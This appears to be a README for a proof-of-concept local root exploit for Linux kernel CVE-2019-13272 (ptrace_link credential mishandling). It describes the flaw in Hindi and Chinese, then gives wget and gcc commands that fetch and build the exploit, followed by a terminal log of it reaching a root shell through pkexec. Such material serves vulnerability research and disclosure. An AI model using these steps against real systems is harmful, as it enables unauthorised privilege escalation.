
C-आधारित स्थानीय विशेषाधिकार वृद्धि शोषण जो Linux kernel ptrace_link क्रेडेंशियल गलत प्रबंधन (CVE-2019-13272) को लक्षित करता है, 4.10 < 5.1.17 कर्नेल पर रूट एक्सेस के लिए।
लिनक्स कर्नेल 5.1.17 से पहले,
kernel/ptrace.c में ptrace_link एक ऐसी प्रक्रिया के क्रेडेंशियल्स की रिकॉर्डिंग को गलत तरीके से संभालता है जो एक ptrace संबंध बनाना चाहती है,
जो स्थानीय उपयोगकर्ताओं को मूल-बाल प्रक्रिया संबंध के साथ कुछ परिदृश्यों का लाभ उठाकर रूट पहुंच प्राप्त करने की अनुमति देता है,
जहां एक मूल प्रक्रिया विशेषाधिकार छोड़ती है और execve को कॉल करती है (संभावित रूप से एक हमलावर द्वारा नियंत्रण की अनुमति देता है)।
एक योगदान कारक एक ऑब्जेक्ट जीवनकाल समस्या है (जो घबराहट का कारण भी बन सकती है)।
एक अन्य योगदान कारक ptrace संबंध को विशेषाधिकार प्राप्त के रूप में गलत चिह्नित करना है, जो (उदाहरण के लिए) Polkit के pkexec सहायक के साथ PTRACE_TRACEME का उपयोग करके शोषण योग्य है।
नोट: SELinux deny_ptrace कुछ वातावरणों में एक उपयोगी समाधान हो सकता है।
在5.1.17之前的Linux内核中,
kernel / ptrace.c中的ptrace_link错误地处理了想要创建ptrace关系的进程的凭据记录,
这允许本地用户通过利用父子的某些方案来获取root访问权限 进程关系,父进程删除权限并调用execve(可能允许攻击者控制)。
一个影响因素是对象寿命问题(也可能导致恐慌)。
另一个影响因素是将ptrace关系标记为特权,这可以通过(例如)Polkit的pkexec帮助程序与PTRACE_TRACEME进行利用。
注意:在某些环境中,SELinux deny_ptrace可能是一种可用的解决方法。

wget https://raw.githubusercontent.com/jas502n/CVE-2019-13272/master/CVE-2019-13272.c
gcc -s CVE-2019-13272.c -o pwned
jas502n@Study:~/Desktop/CVE-2019-13272$ ./pwned
Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
[.] Checking environment ...
[~] Done, looks good
[.] Searching for known helpers ...
[~] Found known helper: /usr/lib/gnome-settings-daemon/gsd-backlight-helper
[.] Using helper: /usr/lib/gnome-settings-daemon/gsd-backlight-helper
[.] Spawning suid process (/usr/bin/pkexec) ...
[.] Tracing midpid ...
[~] Attached to midpid
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
root@Study:/home/jas502n/Desktop/CVE-2019-13272#
https://bugs.chromium.org/p/project-zero/issues/detail?id=1903